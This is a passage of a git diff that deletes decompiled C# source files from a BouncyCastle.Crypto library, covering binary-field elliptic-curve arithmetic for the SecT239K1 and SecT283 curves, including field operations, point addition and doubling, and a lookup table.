base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT239K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT239K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT239K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT239K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord); - if (eCFieldElement10.IsZero) - { - return new SecT239K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT239K1Point(curve, eCFieldElement10, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT239K1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = ((!isOne) ? rawYCoord.Add(eCFieldElement).Multiply(rawYCoord) : rawYCoord.Square().Add(rawYCoord)); - if (eCFieldElement3.IsZero) - { - return new SecT239K1Point(curve, eCFieldElement3, curve.B, base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(eCFieldElement2)); - ECFieldElement eCFieldElement6 = rawYCoord.Add(rawXCoord).Square(); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement2.Square()); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement3).Add(eCFieldElement2).Multiply(eCFieldElement6) - .Add(b) - .Add(eCFieldElement4) - .Add(eCFieldElement5); - return new SecT239K1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement eCFieldElement3 = rawYCoord.Square(); - ECFieldElement eCFieldElement4 = eCFieldElement2.Square(); - ECFieldElement b2 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b3 = eCFieldElement3.Add(b2); - ECFieldElement eCFieldElement5 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement6 = eCFieldElement5.Multiply(eCFieldElement4).Add(eCFieldElement3).MultiplyPlusProduct(b3, x, eCFieldElement4); - ECFieldElement eCFieldElement7 = rawXCoord2.Multiply(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement7.Add(b3).Square(); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement6.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement6.IsZero) - { - return new SecT239K1Point(curve, eCFieldElement6, curve.B, base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement6.Square().Multiply(eCFieldElement7); - ECFieldElement eCFieldElement9 = eCFieldElement6.Multiply(eCFieldElement8).Multiply(eCFieldElement4); - ECFieldElement y = eCFieldElement6.Add(eCFieldElement8).Square().MultiplyPlusProduct(b3, eCFieldElement5, eCFieldElement9); - return new SecT239K1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement9 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT239K1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283Field.cs deleted file mode 100644 index d2880a0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283Field.cs +++ /dev/null @@ -1,341 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT283Field -{ - private const ulong M27 = 134217727uL; - - private const ulong M57 = 144115188075855871uL; - - private static readonly ulong[] ROOT_Z = new ulong[5] { 878416384462358536uL, 3513665537849438403uL, 9369774767598502668uL, 585610922974906400uL, 34087042uL }; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - z[2] = x[2] ^ y[2]; - z[3] = x[3] ^ y[3]; - z[4] = x[4] ^ y[4]; - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - zz[0] = xx[0] ^ yy[0]; - zz[1] = xx[1] ^ yy[1]; - zz[2] = xx[2] ^ yy[2]; - zz[3] = xx[3] ^ yy[3]; - zz[4] = xx[4] ^ yy[4]; - zz[5] = xx[5] ^ yy[5]; - zz[6] = xx[6] ^ yy[6]; - zz[7] = xx[7] ^ yy[7]; - zz[8] = xx[8] ^ yy[8]; - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] ^ 1; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat320.FromBigInteger64(x); - Reduce37(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat320.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat320.Create64(); - ulong[] array2 = Nat320.Create64(); - Square(x, array); - Multiply(array, x, array); - SquareN(array, 2, array2); - Multiply(array2, array, array2); - SquareN(array2, 4, array); - Multiply(array, array2, array); - SquareN(array, 8, array2); - Multiply(array2, array, array2); - Square(array2, array2); - Multiply(array2, x, array2); - SquareN(array2, 17, array); - Multiply(array, array2, array); - Square(array, array); - Multiply(array, x, array); - SquareN(array, 35, array2); - Multiply(array2, array, array2); - SquareN(array2, 70, array); - Multiply(array, array2, array); - Square(array, array); - Multiply(array, x, array); - SquareN(array, 141, array2); - Multiply(array2, array, array2); - Square(array2, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat320.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat320.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - ulong num5 = xx[4]; - ulong num6 = xx[5]; - ulong num7 = xx[6]; - ulong num8 = xx[7]; - ulong num9 = xx[8]; - num4 ^= (num9 << 37) ^ (num9 << 42) ^ (num9 << 44) ^ (num9 << 49); - num5 ^= (num9 >> 27) ^ (num9 >> 22) ^ (num9 >> 20) ^ (num9 >> 15); - num3 ^= (num8 << 37) ^ (num8 << 42) ^ (num8 << 44) ^ (num8 << 49); - num4 ^= (num8 >> 27) ^ (num8 >> 22) ^ (num8 >> 20) ^ (num8 >> 15); - num2 ^= (num7 << 37) ^ (num7 << 42) ^ (num7 << 44) ^ (num7 << 49); - num3 ^= (num7 >> 27) ^ (num7 >> 22) ^ (num7 >> 20) ^ (num7 >> 15); - num ^= (num6 << 37) ^ (num6 << 42) ^ (num6 << 44) ^ (num6 << 49); - num2 ^= (num6 >> 27) ^ (num6 >> 22) ^ (num6 >> 20) ^ (num6 >> 15); - ulong num10 = num5 >> 27; - z[0] = num ^ num10 ^ (num10 << 5) ^ (num10 << 7) ^ (num10 << 12); - z[1] = num2; - z[2] = num3; - z[3] = num4; - z[4] = num5 & 0x7FFFFFF; - } - - public static void Reduce37(ulong[] z, int zOff) - { - ulong num = z[zOff + 4]; - ulong num2 = num >> 27; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ (num2 ^ (num2 << 5) ^ (num2 << 7) ^ (num2 << 12)); - z[zOff + 4] = num & 0x7FFFFFF; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong[] array = Nat320.Create64(); - ulong num = Interleave.Unshuffle(x[0]); - ulong num2 = Interleave.Unshuffle(x[1]); - ulong num3 = (num & 0xFFFFFFFFu) | (num2 << 32); - array[0] = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[2]); - num2 = Interleave.Unshuffle(x[3]); - ulong num4 = (num & 0xFFFFFFFFu) | (num2 << 32); - array[1] = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[4]); - ulong num5 = num & 0xFFFFFFFFu; - array[2] = num >> 32; - Multiply(array, ROOT_Z, z); - ulong[] array2; - (array2 = z)[0] = array2[0] ^ num3; - (array2 = z)[1] = array2[1] ^ num4; - (array2 = z)[2] = array2[2] ^ num5; - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat.Create64(9); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat.Create64(9); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat.Create64(9); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)(x[0] ^ (x[4] >> 15)) & 1); - } - - protected static void ImplCompactExt(ulong[] zz) - { - ulong num = zz[0]; - ulong num2 = zz[1]; - ulong num3 = zz[2]; - ulong num4 = zz[3]; - ulong num5 = zz[4]; - ulong num6 = zz[5]; - ulong num7 = zz[6]; - ulong num8 = zz[7]; - ulong num9 = zz[8]; - ulong num10 = zz[9]; - zz[0] = num ^ (num2 << 57); - zz[1] = (num2 >> 7) ^ (num3 << 50); - zz[2] = (num3 >> 14) ^ (num4 << 43); - zz[3] = (num4 >> 21) ^ (num5 << 36); - zz[4] = (num5 >> 28) ^ (num6 << 29); - zz[5] = (num6 >> 35) ^ (num7 << 22); - zz[6] = (num7 >> 42) ^ (num8 << 15); - zz[7] = (num8 >> 49) ^ (num9 << 8); - zz[8] = (num9 >> 56) ^ (num10 << 1); - zz[9] = num10 >> 63; - } - - protected static void ImplExpand(ulong[] x, ulong[] z) - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = x[2]; - ulong num4 = x[3]; - ulong num5 = x[4]; - z[0] = num & 0x1FFFFFFFFFFFFFFL; - z[1] = ((num >> 57) ^ (num2 << 7)) & 0x1FFFFFFFFFFFFFFL; - z[2] = ((num2 >> 50) ^ (num3 << 14)) & 0x1FFFFFFFFFFFFFFL; - z[3] = ((num3 >> 43) ^ (num4 << 21)) & 0x1FFFFFFFFFFFFFFL; - z[4] = (num4 >> 36) ^ (num5 << 28); - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = new ulong[5]; - ulong[] array2 = new ulong[5]; - ImplExpand(x, array); - ImplExpand(y, array2); - ulong[] array3 = new ulong[26]; - ImplMulw(array[0], array2[0], array3, 0); - ImplMulw(array[1], array2[1], array3, 2); - ImplMulw(array[2], array2[2], array3, 4); - ImplMulw(array[3], array2[3], array3, 6); - ImplMulw(array[4], array2[4], array3, 8); - ulong num = array[0] ^ array[1]; - ulong num2 = array2[0] ^ array2[1]; - ulong num3 = array[0] ^ array[2]; - ulong num4 = array2[0] ^ array2[2]; - ulong num5 = array[2] ^ array[4]; - ulong num6 = array2[2] ^ array2[4]; - ulong num7 = array[3] ^ array[4]; - ulong num8 = array2[3] ^ array2[4]; - ImplMulw(num3 ^ array[3], num4 ^ array2[3], array3, 18); - ImplMulw(num5 ^ array[1], num6 ^ array2[1], array3, 20); - ulong num9 = num ^ num7; - ulong num10 = num2 ^ num8; - ulong x2 = num9 ^ array[2]; - ulong y2 = num10 ^ array2[2]; - ImplMulw(num9, num10, array3, 22); - ImplMulw(x2, y2, array3, 24); - ImplMulw(num, num2, array3, 10); - ImplMulw(num3, num4, array3, 12); - ImplMulw(num5, num6, array3, 14); - ImplMulw(num7, num8, array3, 16); - zz[0] = array3[0]; - zz[9] = array3[9]; - ulong num11 = array3[0] ^ array3[1]; - ulong num12 = num11 ^ array3[2]; - ulong num13 = (zz[1] = num12 ^ array3[10]); - ulong num14 = array3[3] ^ array3[4]; - ulong num15 = array3[11] ^ array3[12]; - ulong num16 = num14 ^ num15; - ulong num17 = (zz[2] = num12 ^ num16); - ulong num18 = num11 ^ num14; - ulong num19 = array3[5] ^ array3[6]; - ulong num20 = num18 ^ num19; - ulong num21 = num20 ^ array3[8]; - ulong num22 = array3[13] ^ array3[14]; - ulong num23 = num21 ^ num22; - ulong num24 = array3[18] ^ array3[22]; - ulong num25 = num24 ^ array3[24]; - ulong num26 = num23 ^ num25; - zz[3] = num26; - ulong num27 = array3[7] ^ array3[8]; - ulong num28 = num27 ^ array3[9]; - ulong num29 = (zz[8] = num28 ^ array3[17]); - ulong num30 = num28 ^ num19; - ulong num31 = array3[15] ^ array3[16]; - ulong num32 = (zz[7] = num30 ^ num31) ^ num13; - ulong num33 = array3[19] ^ array3[20]; - ulong num34 = array3[25] ^ array3[24]; - ulong num35 = array3[18] ^ array3[23]; - ulong num36 = num33 ^ num34; - ulong num37 = num36 ^ num35; - ulong num38 = num37 ^ num32; - zz[4] = num38; - ulong num39 = num17 ^ num29; - ulong num40 = num36 ^ num39; - ulong num41 = array3[21] ^ array3[22]; - ulong num42 = num40 ^ num41; - zz[5] = num42; - ulong num43 = num21 ^ array3[0]; - ulong num44 = num43 ^ array3[9]; - ulong num45 = num44 ^ num22; - ulong num46 = num45 ^ array3[21]; - ulong num47 = num46 ^ array3[23]; - ulong num48 = num47 ^ array3[25]; - zz[6] = num48; - ImplCompactExt(zz); - } - - protected static void ImplMulw(ulong x, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[8]; - array[1] = y; - array[2] = array[1] << 1; - array[3] = array[2] ^ y; - array[4] = array[2] << 1; - array[5] = array[4] ^ y; - array[6] = array[3] << 1; - array[7] = array[6] ^ y; - uint num = (uint)x; - ulong num2 = 0uL; - ulong num3 = array[num & 7]; - int num4 = 48; - do - { - num = (uint)(x >> num4); - ulong num5 = array[num & 7] ^ (array[(num >> 3) & 7] << 3) ^ (array[(num >> 6) & 7] << 6); - num3 ^= num5 << num4; - num2 ^= num5 >> -num4; - } - while ((num4 -= 9) > 0); - num2 ^= (x & 0x100804020100800L & (ulong)((long)(y << 7) >> 63)) >> 8; - z[zOff] = num3 & 0x1FFFFFFFFFFFFFFL; - z[zOff + 1] = (num3 >> 57) ^ (num2 << 7); - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - for (int i = 0; i < 4; i++) - { - Interleave.Expand64To128(x[i], zz, i << 1); - } - zz[8] = Interleave.Expand32to64((uint)x[4]); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283FieldElement.cs deleted file mode 100644 index c3fb218..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT283FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat320.IsOne64(x); - - public override bool IsZero => Nat320.IsZero64(x); - - public override string FieldName => "SecT283Field"; - - public override int FieldSize => 283; - - public virtual int Representation => 3; - - public virtual int M => 283; - - public virtual int K1 => 5; - - public virtual int K2 => 7; - - public virtual int K3 => 12; - - public SecT283FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 283) - { - throw new ArgumentException("value invalid for SecT283FieldElement", "x"); - } - this.x = SecT283Field.FromBigInteger(x); - } - - public SecT283FieldElement() - { - x = Nat320.Create64(); - } - - protected internal SecT283FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 0; - } - - public override BigInteger ToBigInteger() - { - return Nat320.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat320.Create64(); - SecT283Field.Add(x, ((SecT283FieldElement)b).x, z); - return new SecT283FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat320.Create64(); - SecT283Field.AddOne(x, z); - return new SecT283FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat320.Create64(); - SecT283Field.Multiply(x, ((SecT283FieldElement)b).x, z); - return new SecT283FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT283FieldElement)b).x; - ulong[] array2 = ((SecT283FieldElement)x).x; - ulong[] y3 = ((SecT283FieldElement)y).x; - ulong[] array3 = Nat.Create64(9); - SecT283Field.MultiplyAddToExt(array, y2, array3); - SecT283Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat320.Create64(); - SecT283Field.Reduce(array3, z); - return new SecT283FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat320.Create64(); - SecT283Field.Square(x, z); - return new SecT283FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT283FieldElement)x).x; - ulong[] y2 = ((SecT283FieldElement)y).x; - ulong[] array3 = Nat.Create64(9); - SecT283Field.SquareAddToExt(array, array3); - SecT283Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat320.Create64(); - SecT283Field.Reduce(array3, z); - return new SecT283FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat320.Create64(); - SecT283Field.SquareN(x, pow, z); - return new SecT283FieldElement(z); - } - - public override int Trace() - { - return (int)SecT283Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat320.Create64(); - SecT283Field.Invert(x, z); - return new SecT283FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat320.Create64(); - SecT283Field.Sqrt(x, z); - return new SecT283FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT283FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT283FieldElement); - } - - public virtual bool Equals(SecT283FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat320.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x2B33AB ^ Arrays.GetHashCode(x, 0, 5); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283K1Curve.cs deleted file mode 100644 index 1ffdc89..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283K1Curve.cs +++ /dev/null @@ -1,133 +0,0 @@ -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT283K1Curve : AbstractF2mCurve -{ - private class SecT283K1LookupTable : ECLookupTable - { - private readonly SecT283K1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT283K1LookupTable(SecT283K1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat320.Create64(); - ulong[] array2 = Nat320.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 5; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 5 + j] & num2); - } - num += 10; - } - return m_outer.CreateRawPoint(new SecT283FieldElement(array), new SecT283FieldElement(array2), withCompression: false); - } - } - - private const int SECT283K1_DEFAULT_COORDS = 6; - - private const int SECT283K1_FE_LONGS = 5; - - protected readonly SecT283K1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 283; - - public override bool IsKoblitz => true; - - public virtual int M => 283; - - public virtual bool IsTrinomial => false; - - public virtual int K1 => 5; - - public virtual int K2 => 7; - - public virtual int K3 => 12; - - public SecT283K1Curve() - : base(283, 5, 7, 12) - { - m_infinity = new SecT283K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.One); - m_order = new BigInteger(1, Hex.Decode("01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE9AE2ED07577265DFF7F94451E061E163C61")); - m_cofactor = BigInteger.ValueOf(4L); - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT283K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - protected override ECMultiplier CreateDefaultMultiplier() - { - return new WTauNafMultiplier(); - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT283FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT283K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT283K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 5 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat320.Copy64(((SecT283FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 5; - Nat320.Copy64(((SecT283FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 5; - } - return new SecT283K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283K1Point.cs deleted file mode 100644 index 404b1e1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT283K1Point.cs +++ /dev/null @@ -1,259 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT283K1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT283K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT283K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT283K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT283K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = 